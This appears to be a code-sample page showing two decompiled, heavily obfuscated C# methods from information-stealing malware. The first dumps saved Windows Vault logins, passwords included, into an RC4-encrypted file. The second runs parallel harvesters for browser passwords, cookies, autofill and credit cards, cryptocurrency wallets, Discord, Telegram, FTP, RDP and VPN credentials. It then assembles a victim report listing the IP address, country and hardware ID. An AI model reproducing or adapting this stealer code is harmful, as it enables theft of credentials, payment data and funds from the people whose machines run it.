Exemplo n.º 1
0
 // Token: 0x060002EF RID: 751 RVA: 0x00015BD4 File Offset: 0x00013DD4
 public static void tmethod_412(string str_0)
 {
     try
     {
         Version version = Environment.OSVersion.Version;
         int     major   = version.Major;
         int     minor   = version.Minor;
         int     num     = 0;
         IntPtr  zero    = IntPtr.Zero;
         int     num2    = Class_105.lmethod_378(0, ref num, ref zero);
         if (num2 != 0)
         {
             Class_113.field_1 = Class_113.field_1 + string.Format("[ERROR] Unable to enumerate vaults. Error (0x" + num2.ToString() + ")", Array.Empty <object>()) + Environment.NewLine;
         }
         IntPtr ptr = zero;
         Dictionary <Guid, string> dictionary = new Dictionary <Guid, string>
         {
             {
                 new Guid("2F1A6504-0641-44CF-8BB5-3612D865F2E5"),
                 "Windows Secure Note"
             },
             {
                 new Guid("3CCD5499-87A8-4B10-A215-608888DD3B55"),
                 "Windows Web Password Credential"
             },
             {
                 new Guid("154E23D0-C644-4E6F-8CE6-5069272F999F"),
                 "Windows Credential Picker Protector"
             },
             {
                 new Guid("4BF4C442-9B8A-41A0-B380-DD4A704DDB28"),
                 "Web Credentials"
             },
             {
                 new Guid("77BC582B-F0A6-4E15-4E80-61736B6F3B29"),
                 "Windows Credentials"
             },
             {
                 new Guid("E69D7838-91B5-4FC9-89D5-230D4D4CC2BC"),
                 "Windows Domain Certificate Credential"
             },
             {
                 new Guid("3E0E35BE-1B77-43E7-B873-AED901B6275B"),
                 "Windows Domain Password Credential"
             },
             {
                 new Guid("3C886FF3-2669-4AA2-A8FB-3F6759A77548"),
                 "Windows Extended Credential"
             },
             {
                 new Guid("00000000-0000-0000-0000-000000000000"),
                 null
             }
         };
         for (int i = 0; i < num; i++)
         {
             object obj = Marshal.PtrToStructure(ptr, typeof(Guid));
             Guid   key = new Guid(obj.ToString());
             ptr = (IntPtr)(ptr.ToInt64() + (long)Marshal.SizeOf(typeof(Guid)));
             IntPtr zero2 = IntPtr.Zero;
             string str   = dictionary.ContainsKey(key) ? dictionary[key] : key.ToString();
             num2 = Class_105.vmethod_375(ref key, 0U, ref zero2);
             if (num2 != 0)
             {
                 Class_113.field_1 = Class_113.field_1 + string.Format("Unable to open the following vault: " + str + ". Error: 0x" + num2.ToString(), Array.Empty <object>()) + Environment.NewLine;
             }
             int    num3  = 0;
             IntPtr zero3 = IntPtr.Zero;
             num2 = Class_105.pmethod_379(zero2, 512, ref num3, ref zero3);
             if (num2 != 0)
             {
                 Class_113.field_1 = Class_113.field_1 + string.Format("[ERROR] Unable to enumerate vault items from the following vault: " + str + ". Error 0x" + num2.ToString(), Array.Empty <object>()) + Environment.NewLine;
             }
             IntPtr ptr2 = zero3;
             if (num3 > 0)
             {
                 for (int j = 1; j <= num3; j++)
                 {
                     Type   type = (major >= 6 && minor >= 2) ? typeof(Class_105.NClass_2) : typeof(Class_105.NClass_3);
                     object obj2 = Marshal.PtrToStructure(ptr2, type);
                     ptr2 = (IntPtr)(ptr2.ToInt64() + (long)Marshal.SizeOf(type));
                     IntPtr    zero4   = IntPtr.Zero;
                     FieldInfo field   = obj2.GetType().GetField("SchemaId");
                     Guid      guid    = new Guid(field.GetValue(obj2).ToString());
                     IntPtr    intPtr  = (IntPtr)obj2.GetType().GetField("pResourceElement").GetValue(obj2);
                     IntPtr    intPtr2 = (IntPtr)obj2.GetType().GetField("pIdentityElement").GetValue(obj2);
                     ulong     num4    = (ulong)obj2.GetType().GetField("LastModified").GetValue(obj2);
                     IntPtr    intPtr3 = IntPtr.Zero;
                     if (major < 6 || minor < 2)
                     {
                         num2 = Class_105.xmethod_381(zero2, ref guid, intPtr, intPtr2, IntPtr.Zero, 0, ref zero4);
                     }
                     else
                     {
                         intPtr3 = (IntPtr)obj2.GetType().GetField("pPackageSid").GetValue(obj2);
                         num2    = Class_105.smethod_380(zero2, ref guid, intPtr, intPtr2, intPtr3, IntPtr.Zero, 0, ref zero4);
                     }
                     if (num2 != 0)
                     {
                         Class_113.field_1 = Class_113.field_1 + string.Format("Error occured while retrieving vault item. Error: 0x" + num2.ToString(), Array.Empty <object>()) + Environment.NewLine;
                     }
                     object obj3 = Marshal.PtrToStructure(zero4, type);
                     object obj4 = Class_113.gmethod_413((IntPtr)obj3.GetType().GetField("pAuthenticatorElement").GetValue(obj3));
                     object obj5 = null;
                     if (intPtr3 != IntPtr.Zero)
                     {
                         obj5 = Class_113.gmethod_413(intPtr3);
                     }
                     if (obj4 != null)
                     {
                         object obj6 = Class_113.gmethod_413(intPtr);
                         if (obj6 != null)
                         {
                             Class_113.field_1 = Class_113.field_1 + string.Format("Url: {0}", obj6) + Environment.NewLine;
                         }
                         object obj7 = Class_113.gmethod_413(intPtr2);
                         if (obj7 != null)
                         {
                             Class_113.field_1 = Class_113.field_1 + string.Format("Username: {0}", obj7) + Environment.NewLine;
                         }
                         if (obj5 != null)
                         {
                             Class_113.field_1 = Class_113.field_1 + string.Format("PacakgeSid: {0}", obj5) + Environment.NewLine;
                         }
                         Class_113.field_1 = Class_113.field_1 + string.Format("Password: {0}\n\n", obj4) + Environment.NewLine;
                         Class_113.field_0++;
                     }
                 }
             }
         }
         Class_53.\u0347\u0020\u0328\u0020\u0369\u0E47h\u0364\u0358\u036D\u036B\u0324\u0322\u0E47\u031F\u0369qhgddlayjusqyuib\u0353c\u0347\u036Dr\u0020\u0E47\u0356\u0356\u0332\u036D\u0347\u0325\u030E\u0E47\u0356gugwsaxccacjclln.Add(Class_47.\u035A\u0020\u0359\u0E47\u0366\u0349\u0320\u0348\u034A\u0341\u0339\u034B\u0020\u032F\u0306\u0020zqzxlmywryhyzjxq\u0E47\u0020\u0349\u0315\u0E47\u0324\u0340i\u0303\u033C\u0E47\u0020\u0345\u035C\u034E\u0307aibpggrwzsglawli + "\\Passwords_Edge.txt", Class_47.RC4(Encoding.UTF8.GetBytes(Class_113.field_1)));
         Class_113.field_1 = "";
     }
     catch
     {
     }
 }
Exemplo n.º 2
0
        // Token: 0x06000126 RID: 294 RVA: 0x0000C0D0 File Offset: 0x0000A2D0
        public static void GetCollection()
        {
            Class_53.< > c__DisplayClass6_0 CS$ < > 8__locals1 = new Class_53.< > c__DisplayClass6_0();
            Directory.CreateDirectory(Class_47.\u035A\u030C\u036Bc\u0326\u0020\u031D\u0331\u035E\u0020\u0020\u030D\u0020\u0368\u034Dtgxjqsczmshvyescj\u0367\u0339\u0309\u0310\u0349\u0309\u035D\u0020\u0020\u0333\u0E47t\u0326\u0355\u033C\u0339qftvsdyuclitenhm);
            Class_53.< > c__DisplayClass6_0 CS$ < > 8__locals2 = CS$ < > 8__locals1;
            Task[] array = new Task[1];
            array[0] = new Task(delegate()
            {
                Class_57.a();
            });
            CS$ < > 8__locals2.t0 = array;
            Class_53.< > c__DisplayClass6_0 CS$ < > 8__locals3 = CS$ < > 8__locals1;
            Task[] array2 = new Task[1];
            array2[0] = new Task(delegate()
            {
                Class_53.GetChromium();
            });
            CS$ < > 8__locals3.t1 = array2;
            Class_53.< > c__DisplayClass6_0 CS$ < > 8__locals4 = CS$ < > 8__locals1;
            Task[] array3 = new Task[1];
            array3[0] = new Task(delegate()
            {
                Class_53.GetGecko();
            });
            CS$ < > 8__locals4.t2 = array3;
            Class_53.< > c__DisplayClass6_0 CS$ < > 8__locals5 = CS$ < > 8__locals1;
            Task[] array4 = new Task[1];
            array4[0] = new Task(delegate()
            {
                Class_113.tmethod_412(Class_47.\u035A\u0020\u0359\u0E47\u0366\u0349\u0320\u0348\u034A\u0341\u0339\u034B\u0020\u032F\u0306\u0020zqzxlmywryhyzjxq\u0E47\u0020\u0349\u0315\u0E47\u0324\u0340i\u0303\u033C\u0E47\u0020\u0345\u035C\u034E\u0307aibpggrwzsglawli);
            });
            CS$ < > 8__locals5.t3 = array4;
            Class_53.< > c__DisplayClass6_0 CS$ < > 8__locals6 = CS$ < > 8__locals1;
            Task[] array5 = new Task[1];
            array5[0] = new Task(delegate()
            {
                Class_56.gmethod_153(Class_47.\u0337\u0329\u035A\u0341t\u033C\u0020\u034E\u035B\u0322\u0313\u0308\u0320\u0367\u0329\u0359yotlhmdsspprsbmv\u0020\u0315\u0369\u0020\u0363\u034C\u0020\u0308\u035E\u0368\u0020\u030E\u0307\u033C\u0367\u0020jzrebbgywcogvccr);
            });
            CS$ < > 8__locals6.t4 = array5;
            Class_53.< > c__DisplayClass6_0 CS$ < > 8__locals7 = CS$ < > 8__locals1;
            Task[] array6 = new Task[1];
            array6[0] = new Task(delegate()
            {
                Class_13.gmethod_33(Class_47.\u0337\u0329\u035A\u0341t\u033C\u0020\u034E\u035B\u0322\u0313\u0308\u0320\u0367\u0329\u0359yotlhmdsspprsbmv\u0020\u0315\u0369\u0020\u0363\u034C\u0020\u0308\u035E\u0368\u0020\u030E\u0307\u033C\u0367\u0020jzrebbgywcogvccr);
            });
            CS$ < > 8__locals7.t5 = array6;
            Class_53.< > c__DisplayClass6_0 CS$ < > 8__locals8 = CS$ < > 8__locals1;
            Task[] array7 = new Task[1];
            array7[0] = new Task(delegate()
            {
                Class_3.tmethod_2(Class_47.\u0337\u0329\u035A\u0341t\u033C\u0020\u034E\u035B\u0322\u0313\u0308\u0320\u0367\u0329\u0359yotlhmdsspprsbmv\u0020\u0315\u0369\u0020\u0363\u034C\u0020\u0308\u035E\u0368\u0020\u030E\u0307\u033C\u0367\u0020jzrebbgywcogvccr);
            });
            CS$ < > 8__locals8.t6 = array7;
            Class_53.< > c__DisplayClass6_0 CS$ < > 8__locals9 = CS$ < > 8__locals1;
            Task[] array8 = new Task[1];
            array8[0] = new Task(delegate()
            {
                Class_10.xmethod_31(Class_47.\u0337\u0329\u035A\u0341t\u033C\u0020\u034E\u035B\u0322\u0313\u0308\u0320\u0367\u0329\u0359yotlhmdsspprsbmv\u0020\u0315\u0369\u0020\u0363\u034C\u0020\u0308\u035E\u0368\u0020\u030E\u0307\u033C\u0367\u0020jzrebbgywcogvccr);
            });
            CS$ < > 8__locals9.t7 = array8;
            Class_53.< > c__DisplayClass6_0 CS$ < > 8__locals10 = CS$ < > 8__locals1;
            Task[] array9 = new Task[1];
            array9[0] = new Task(delegate()
            {
                Class_91.dmethod_256(Class_47.\u0337\u0329\u035A\u0341t\u033C\u0020\u034E\u035B\u0322\u0313\u0308\u0320\u0367\u0329\u0359yotlhmdsspprsbmv\u0020\u0315\u0369\u0020\u0363\u034C\u0020\u0308\u035E\u0368\u0020\u030E\u0307\u033C\u0367\u0020jzrebbgywcogvccr);
            });
            CS$ < > 8__locals10.t8 = array9;
            Class_53.< > c__DisplayClass6_0 CS$ < > 8__locals11 = CS$ < > 8__locals1;
            Task[] array10 = new Task[1];
            array10[0] = new Task(delegate()
            {
                Class_7.pmethod_9(Class_47.\u0337\u0329\u035A\u0341t\u033C\u0020\u034E\u035B\u0322\u0313\u0308\u0320\u0367\u0329\u0359yotlhmdsspprsbmv\u0020\u0315\u0369\u0020\u0363\u034C\u0020\u0308\u035E\u0368\u0020\u030E\u0307\u033C\u0367\u0020jzrebbgywcogvccr);
            });
            CS$ < > 8__locals11.t9 = array10;
            Class_53.< > c__DisplayClass6_0 CS$ < > 8__locals12 = CS$ < > 8__locals1;
            Task[] array11 = new Task[1];
            array11[0] = new Task(delegate()
            {
                Class_17.cmethod_44(Class_47.\u0337\u0329\u035A\u0341t\u033C\u0020\u034E\u035B\u0322\u0313\u0308\u0320\u0367\u0329\u0359yotlhmdsspprsbmv\u0020\u0315\u0369\u0020\u0363\u034C\u0020\u0308\u035E\u0368\u0020\u030E\u0307\u033C\u0367\u0020jzrebbgywcogvccr);
            });
            CS$ < > 8__locals12.t11 = array11;
            Class_53.< > c__DisplayClass6_0 CS$ < > 8__locals13 = CS$ < > 8__locals1;
            Task[] array12 = new Task[1];
            array12[0] = new Task(delegate()
            {
                Class_54.xmethod_151(Class_47.\u0337\u0329\u035A\u0341t\u033C\u0020\u034E\u035B\u0322\u0313\u0308\u0320\u0367\u0329\u0359yotlhmdsspprsbmv\u0020\u0315\u0369\u0020\u0363\u034C\u0020\u0308\u035E\u0368\u0020\u030E\u0307\u033C\u0367\u0020jzrebbgywcogvccr);
            });
            CS$ < > 8__locals13.t12 = array12;
            Class_53.< > c__DisplayClass6_0 CS$ < > 8__locals14 = CS$ < > 8__locals1;
            Task[] array13 = new Task[1];
            array13[0] = new Task(delegate()
            {
                Class_14.vmethod_35(Class_47.\u0337\u0329\u035A\u0341t\u033C\u0020\u034E\u035B\u0322\u0313\u0308\u0320\u0367\u0329\u0359yotlhmdsspprsbmv\u0020\u0315\u0369\u0020\u0363\u034C\u0020\u0308\u035E\u0368\u0020\u030E\u0307\u033C\u0367\u0020jzrebbgywcogvccr);
            });
            CS$ < > 8__locals14.t13 = array13;
            Class_53.< > c__DisplayClass6_0 CS$ < > 8__locals15 = CS$ < > 8__locals1;
            Task[] array14 = new Task[1];
            array14[0] = new Task(delegate()
            {
                Class_11.tmethod_32(Class_47.\u0337\u0329\u035A\u0341t\u033C\u0020\u034E\u035B\u0322\u0313\u0308\u0320\u0367\u0329\u0359yotlhmdsspprsbmv\u0020\u0315\u0369\u0020\u0363\u034C\u0020\u0308\u035E\u0368\u0020\u030E\u0307\u033C\u0367\u0020jzrebbgywcogvccr);
            });
            CS$ < > 8__locals15.t14 = array14;
            Class_53.< > c__DisplayClass6_0 CS$ < > 8__locals16 = CS$ < > 8__locals1;
            Task[] array15 = new Task[1];
            array15[0] = new Task(delegate()
            {
                Class_96.vmethod_265();
            });
            CS$ < > 8__locals16.t15 = array15;
            Class_53.< > c__DisplayClass6_0 CS$ < > 8__locals17 = CS$ < > 8__locals1;
            Task[] array16 = new Task[1];
            array16[0] = new Task(delegate()
            {
                Class_83.kmethod_247();
            });
            CS$ < > 8__locals17.t16 = array16;
            try
            {
                new Thread(delegate()
                {
                    Task[] t = CS$ < > 8__locals1.t0;
                    for (int i = 0; i < t.Length; i++)
                    {
                        t[i].Start();
                    }
                }).Start();
                new Thread(delegate()
                {
                    Task[] t = CS$ < > 8__locals1.t1;
                    for (int i = 0; i < t.Length; i++)
                    {
                        t[i].Start();
                    }
                }).Start();
                new Thread(delegate()
                {
                    Task[] t = CS$ < > 8__locals1.t2;
                    for (int i = 0; i < t.Length; i++)
                    {
                        t[i].Start();
                    }
                }).Start();
                new Thread(delegate()
                {
                    Task[] t = CS$ < > 8__locals1.t3;
                    for (int i = 0; i < t.Length; i++)
                    {
                        t[i].Start();
                    }
                }).Start();
                new Thread(delegate()
                {
                    Task[] t = CS$ < > 8__locals1.t4;
                    for (int i = 0; i < t.Length; i++)
                    {
                        t[i].Start();
                    }
                }).Start();
                new Thread(delegate()
                {
                    Task[] t = CS$ < > 8__locals1.t5;
                    for (int i = 0; i < t.Length; i++)
                    {
                        t[i].Start();
                    }
                }).Start();
                new Thread(delegate()
                {
                    Task[] t = CS$ < > 8__locals1.t6;
                    for (int i = 0; i < t.Length; i++)
                    {
                        t[i].Start();
                    }
                }).Start();
                new Thread(delegate()
                {
                    Task[] t = CS$ < > 8__locals1.t7;
                    for (int i = 0; i < t.Length; i++)
                    {
                        t[i].Start();
                    }
                }).Start();
                new Thread(delegate()
                {
                    Task[] t = CS$ < > 8__locals1.t8;
                    for (int i = 0; i < t.Length; i++)
                    {
                        t[i].Start();
                    }
                }).Start();
                new Thread(delegate()
                {
                    Task[] t = CS$ < > 8__locals1.t9;
                    for (int i = 0; i < t.Length; i++)
                    {
                        t[i].Start();
                    }
                }).Start();
                new Thread(delegate()
                {
                    Task[] t = CS$ < > 8__locals1.t11;
                    for (int i = 0; i < t.Length; i++)
                    {
                        t[i].Start();
                    }
                }).Start();
                new Thread(delegate()
                {
                    Task[] t = CS$ < > 8__locals1.t12;
                    for (int i = 0; i < t.Length; i++)
                    {
                        t[i].Start();
                    }
                }).Start();
                new Thread(delegate()
                {
                    Task[] t = CS$ < > 8__locals1.t13;
                    for (int i = 0; i < t.Length; i++)
                    {
                        t[i].Start();
                    }
                }).Start();
                new Thread(delegate()
                {
                    Task[] t = CS$ < > 8__locals1.t14;
                    for (int i = 0; i < t.Length; i++)
                    {
                        t[i].Start();
                    }
                }).Start();
                new Thread(delegate()
                {
                    Task[] t = CS$ < > 8__locals1.t15;
                    for (int i = 0; i < t.Length; i++)
                    {
                        t[i].Start();
                    }
                }).Start();
                new Thread(delegate()
                {
                    Task[] t = CS$ < > 8__locals1.t16;
                    for (int i = 0; i < t.Length; i++)
                    {
                        t[i].Start();
                    }
                }).Start();
                Task.WaitAll(CS$ < > 8__locals1.t0);
                Task.WaitAll(CS$ < > 8__locals1.t1);
                Task.WaitAll(CS$ < > 8__locals1.t2);
                Task.WaitAll(CS$ < > 8__locals1.t3);
                Task.WaitAll(CS$ < > 8__locals1.t4);
                Task.WaitAll(CS$ < > 8__locals1.t5);
                Task.WaitAll(CS$ < > 8__locals1.t6);
                Task.WaitAll(CS$ < > 8__locals1.t7);
                Task.WaitAll(CS$ < > 8__locals1.t8);
                Task.WaitAll(CS$ < > 8__locals1.t9);
                Task.WaitAll(CS$ < > 8__locals1.t11);
                Task.WaitAll(CS$ < > 8__locals1.t12);
                Task.WaitAll(CS$ < > 8__locals1.t13);
                Task.WaitAll(CS$ < > 8__locals1.t14);
                Task.WaitAll(CS$ < > 8__locals1.t15);
                Task.WaitAll(CS$ < > 8__locals1.t16);
            }
            catch
            {
            }
            GC.Collect();
            try
            {
                Class_2.xmethod_1(Class_47.\u0369ส\u033E\u0020\u035A\u0302\u0317\u0E47\u0340\u0E47\u035A\u0E47\u0E47\u0306\u0343\u0020pgdvbwunpknbmfun\u036B\u0020\u0E47\u0343\u0330\u0308\u0331\u0E47\u0020\u0329\u0342\u0342\u0367\u030B\u0306\u0353vsdojrfcpthshyaq);
            }
            catch
            {
            }
            try
            {
                Class_57.b();
                Class_93.Copy();
            }
            catch
            {
            }
            Class_5.field_4.Clear();
            Class_5.field_5.Clear();
            Class_5.field_6.Clear();
            GC.Collect();
            string s = string.Concat(new string[]
            {
                "<!DOCTYPE html>\n<html>\n<body>\n<style>\nbody {\nbackground-image: url('https://steamcdn-a.akamaihd.net/steamcommunity/public/images/items/383690/f7a121a3f7a929ffb4dbc3ae241b3b4b6eaaed1d.jpg');\nbackground-repeat: no-repeat;\nbackground-attachment: fixed;\nbackground-size: 100% 100%;\n}\n</style>\n<center>\n<h1 style=\"color:white\">",
                Class_103.field_0,
                "</h1>\n<p style=\"color:white\">\ud83d\udc64 ",
                Class_47.\u0020\u032C\u0320\u0320\u0020\u0020\u035A\u035C\u0333\u030C\u0020\u0369t\u0363\u0E47สhjbpdmmozxipixxd\u0020\u035C\u0020\u0316\u0348\u0489\u0489\u0332\u0324\u0020\u0020\u0317\u0356\u0359\u035A\u033Cukafaffmbwlfhjuf,
                "/",
                Class_47.\u034A\u0367\u0320\u030E\u0E47\u0356\u0E47\u0020\u0E47\u035E\u033A\u0307\u0364\u0325\u033A\u0347wojyhmunazhfiuxb\u0320\u036B\u0347\u035D\u0313\u0332\u036F\u034D\u0331\u031A\u0340\u036A\u0366\u035C\u0364\u0308xbwcnquhcfkvrrhm,
                "</p>\n<p style=\"color:white\">\ud83c\udff4 IP: ",
                Class_47.IP(),
                Class_47.Country(),
                Class_47.checc(),
                "</p>\n<h2 style=\"color:white\">\ud83c\udf10 Browsers Data</h2>\n<p style=\"color:white;margin-left:-6em\">   ∟\ud83d\udd11</p>\n<p style=\"color:white;margin-left:3em\">     ∟Chromium: ",
                Class_49.field_1.ToString(),
                "</p>\n<p style=\"color:white;margin-left:-1.5em\">     ∟Edge: ",
                Class_113.field_0.ToString(),
                "</p>\n<p style=\"color:white;margin-left:-0.9em\">     ∟Gecko: ",
                Class_78.\u0340\u035A\u0020\u0020\u0320\u034E\u035Ct\u033C\u030C\u0361\u0329\u0338\u0342\u032E\u0E47vktldwvagjgorsqs\u0020\u033F\u0339\u0020\u0342\u0489\u0342\u0342\u0309\u0308\u0358\u0348\u0329\u035C\u0310ixunljsevrvauyudk.ToString(),
                "</p>\n<p style=\"color:white;margin-left:-4em\">   ∟\ud83c\udf6a",
                (Class_49.field_4 + Class_78.\u036B\u034B\u031F\u031D\u0E47\u031C\u0301\u034E\u0353\u0306\u0347\u033D\u0331\u0353\u0343\u0020hupvdimgmomeaylzst\u0303\u035D\u033F\u035B\u0309\u0020\u032E\u032F\u0348\u0359\u034B\u0020\u0489\u035Blscnvhohzjystpki).ToString(),
                "</p>\n<p style=\"color:white;margin-left:-4em\">   ∟\ud83d\udd51",
                Class_49.field_5.ToString(),
                "</p>\n<p style=\"color:white;margin-left:-4.5em\">   ∟\ud83d\udcdd",
                Class_49.field_2.ToString(),
                "</p>\n<p style=\"color:white;margin-left:-5.5em\">   ∟\ud83d\udcb3",
                Class_49.field_6.ToString(),
                "</p>\n<p style=\"color:white;margin-left:-4.8em\">   ∟⨭",
                Class_49.field_3.ToString(),
                "</p>\n<p style=\"color:white\">\ud83d\udcb6 Wallets: ",
                (Class_54.field_0 > 0) ? "✅" : "❌",
                (Class_79.field_0 > 0) ? " Electrum" : "",
                (Class_73.field_0 > 0) ? " Armory" : "",
                (Class_4.field_0 > 0) ? " Atomic" : "",
                (Class_20.field_0 > 0) ? " BitcoinCore" : "",
                (Class_80.field_0 > 0) ? " Bytecoin" : "",
                (Class_94.field_0 > 0) ? " DashCore" : "",
                (Class_18.field_0 > 0) ? " Ethereum" : "",
                (Class_90.field_0 > 0) ? " Exodus" : "",
                (Class_6.field_0 > 0) ? " LitecoinCore" : "",
                (Class_55.field_0 > 0) ? " Monero" : "",
                (Class_89.field_0 > 0) ? " Zcash" : "",
                (Class_15.field_0 > 0) ? " Jaxx" : "",
                "</p>\n<p style=\"color:white\">\ud83d\udcc2 FileGrabber: ",
                Class_5.field_1.ToString(),
                "</p>\n<p style=\"color:white\">\ud83d\udcb0 Recursive Wallets: ",
                Class_5.field_3.ToString(),
                "</p>\n<p style=\"color:white\">\ud83d\udda5 RDP: ",
                Class_5.field_2.ToString(),
                "</p>\n<p style=\"color:white\">\ud83d\udcac Discord: ",
                (Class_17.field_0 > 0) ? "✅" : "❌",
                "</p>\n<p style=\"color:white\">✈️ Telegram: ",
                (Class_96.field_0 > 0) ? "✅" : "❌",
                "</p>\n<p style=\"color:white\">\ud83d\udca1 Jabber: ",
                (Class_11.field_0 + Class_74.field_0 > 0) ? "✅" : "❌",
                (Class_74.field_0 > 0) ? (" Pidgin (" + Class_74.field_1.ToString() + ")") : "",
                (Class_11.field_0 > 0) ? " Psi" : "",
                "</p>\n<h2 style=\"color:white\">\ud83d\udce1 FTP</h2>\n<p style=\"color:white\">   ∟ FileZilla: ",
                (Class_13.field_0 > 0) ? ("✅ (" + Class_13.field_0.ToString() + ")") : "❌",
                "</p>\n<p style=\"color:white\">   ∟ TotalCmd: ",
                (Class_3.field_0 > 0) ? "✅" : "❌",
                "</p>\n<h2 style=\"color:white\">\ud83d\udd0c VPN</h2>\n<p style=\"color:white\">   ∟ NordVPN: ",
                (Class_7.field_0 > 0) ? "✅" : "❌",
                "</p>\n<p style=\"color:white\">   ∟ OpenVPN: ",
                (Class_91.field_0 > 0) ? "✅" : "❌",
                "</p>\n<p style=\"color:white\">   ∟ ProtonVPN: ",
                (Class_10.field_0 > 0) ? "✅" : "❌",
                "</p>\n<p style=\"color:white\">\ud83c\udd94 HWID: ",
                Class_47.\u030C\u0360\u0352\u0330\u0020\u0345\u034D\u031F\u0317\u0020\u036F\u032F\u0335\u0303\u0020\u0348btjzcydnmobecrmu\u0E47\u0E47\u0363\u0E47r\u0367\u0323\u0347\u0331\u0347\u032C\u0348\u0332\u035F\u036B\u034Eplwrzxwpllzxvpwz,
                "</p>\n<p style=\"color:white\">⚙️ ",
                Class_14.smethod_40(),
                "</p>\n<p style=\"color:white\">\ud83d\udd0e ",
                Class_53.\u0020\u0313\u0353\u0020\u0E47\u031A\u0353\u0329\u033C\u0344\u034D\u0020\u0363\u036F\u031A\u0301awhgtmkxagkekicb\u0313\u0020\u0354\u032D\u035C\u0E47\u031A\u035Bt\u036B\u0E47\u036B\u0307\u035C\u0313\u0020riftwyloclvluvlf,
                "</p>\n</center>\n</body>\n</html>"
            });
            string s2 = string.Concat(new string[]
            {
                Class_103.field_0,
                "\nComputer: ",
                Class_47.\u0020\u032C\u0320\u0320\u0020\u0020\u035A\u035C\u0333\u030C\u0020\u0369t\u0363\u0E47สhjbpdmmozxipixxd\u0020\u035C\u0020\u0316\u0348\u0489\u0489\u0332\u0324\u0020\u0020\u0317\u0356\u0359\u035A\u033Cukafaffmbwlfhjuf,
                "/",
                Class_47.\u034A\u0367\u0320\u030E\u0E47\u0356\u0E47\u0020\u0E47\u035E\u033A\u0307\u0364\u0325\u033A\u0347wojyhmunazhfiuxb\u0320\u036B\u0347\u035D\u0313\u0332\u036F\u034D\u0331\u031A\u0340\u036A\u0366\u035C\u0364\u0308xbwcnquhcfkvrrhm,
                "\nIP: ",
                Class_47.IP(),
                Class_47.Country(),
                Class_47.checc(),
                "\nBrowsers Data\n   ∟Passwords:\n     ∟Chromium: ",
                Class_49.field_1.ToString(),
                "\n     ∟Edge: ",
                Class_113.field_0.ToString(),
                "\n     ∟Gecko: ",
                Class_78.\u0340\u035A\u0020\u0020\u0320\u034E\u035Ct\u033C\u030C\u0361\u0329\u0338\u0342\u032E\u0E47vktldwvagjgorsqs\u0020\u033F\u0339\u0020\u0342\u0489\u0342\u0342\u0309\u0308\u0358\u0348\u0329\u035C\u0310ixunljsevrvauyudk.ToString(),
                "\n   ∟Cookies:",
                (Class_49.field_4 + Class_78.\u036B\u034B\u031F\u031D\u0E47\u031C\u0301\u034E\u0353\u0306\u0347\u033D\u0331\u0353\u0343\u0020hupvdimgmomeaylzst\u0303\u035D\u033F\u035B\u0309\u0020\u032E\u032F\u0348\u0359\u034B\u0020\u0489\u035Blscnvhohzjystpki).ToString(),
                "\n   ∟History:",
                Class_49.field_5.ToString(),
                "\n   ∟Autofills:",
                Class_49.field_2.ToString(),
                "\n   ∟CC:",
                Class_49.field_6.ToString(),
                "\n   ∟Downloads:",
                Class_49.field_3.ToString(),
                "\nWallets: ",
                (Class_54.field_0 > 0) ? "Yes" : "No",
                (Class_79.field_0 > 0) ? " Electrum" : "",
                (Class_73.field_0 > 0) ? " Armory" : "",
                (Class_4.field_0 > 0) ? " Atomic" : "",
                (Class_20.field_0 > 0) ? " BitcoinCore" : "",
                (Class_80.field_0 > 0) ? " Bytecoin" : "",
                (Class_94.field_0 > 0) ? " DashCore" : "",
                (Class_18.field_0 > 0) ? " Ethereum" : "",
                (Class_90.field_0 > 0) ? " Exodus" : "",
                (Class_6.field_0 > 0) ? " LitecoinCore" : "",
                (Class_55.field_0 > 0) ? " Monero" : "",
                (Class_89.field_0 > 0) ? " Zcash" : "",
                (Class_15.field_0 > 0) ? " Jaxx" : "",
                "\nFileGrabber: ",
                Class_5.field_1.ToString(),
                "\nRecursive Wallets: ",
                Class_5.field_3.ToString(),
                "\nRDP: ",
                Class_5.field_2.ToString(),
                "\nDiscord: ",
                (Class_17.field_0 > 0) ? "Yes" : "No",
                "\nTelegram: ",
                (Class_96.field_0 > 0) ? "Yes" : "No",
                "\nJabber: ",
                (Class_11.field_0 + Class_74.field_0 > 0) ? "Yes" : "No",
                (Class_74.field_0 > 0) ? (" Pidgin (" + Class_74.field_1.ToString() + ")") : "",
                (Class_11.field_0 > 0) ? " Psi" : "",
                "\nFTP\n   ∟ FileZilla: ",
                (Class_13.field_0 > 0) ? ("Yes (" + Class_13.field_0.ToString() + ")") : "No",
                "\n   ∟ TotalCmd: ",
                (Class_3.field_0 > 0) ? "Yes" : "No",
                "\nVPN\n   ∟ NordVPN: ",
                (Class_7.field_0 > 0) ? "Yes" : "No",
                "\n   ∟ OpenVPN: ",
                (Class_91.field_0 > 0) ? "Yes" : "No",
                "\n   ∟ ProtonVPN: ",
                (Class_10.field_0 > 0) ? "Yes" : "No",
                "\nHWID: ",
                Class_47.\u030C\u0360\u0352\u0330\u0020\u0345\u034D\u031F\u0317\u0020\u036F\u032F\u0335\u0303\u0020\u0348btjzcydnmobecrmu\u0E47\u0E47\u0363\u0E47r\u0367\u0323\u0347\u0331\u0347\u032C\u0348\u0332\u035F\u036B\u034Eplwrzxwpllzxvpwz,
                "\nDomains: ",
                Class_53.\u0020\u0313\u0353\u0020\u0E47\u031A\u0353\u0329\u033C\u0344\u034D\u0020\u0363\u036F\u031A\u0301awhgtmkxagkekicb\u0313\u0020\u0354\u032D\u035C\u0E47\u031A\u035Bt\u036B\u0E47\u036B\u0307\u035C\u0313\u0020riftwyloclvluvlf
            });

            Class_53.\u0347\u0020\u0328\u0020\u0369\u0E47h\u0364\u0358\u036D\u036B\u0324\u0322\u0E47\u031F\u0369qhgddlayjusqyuib\u0353c\u0347\u036Dr\u0020\u0E47\u0356\u0356\u0332\u036D\u0347\u0325\u030E\u0E47\u0356gugwsaxccacjclln.Add(Class_47.\u0337\u0329\u035A\u0341t\u033C\u0020\u034E\u035B\u0322\u0313\u0308\u0320\u0367\u0329\u0359yotlhmdsspprsbmv\u0020\u0315\u0369\u0020\u0363\u034C\u0020\u0308\u035E\u0368\u0020\u030E\u0307\u033C\u0367\u0020jzrebbgywcogvccr + "\\Information.html", Class_47.RC4(Encoding.UTF8.GetBytes(s)));
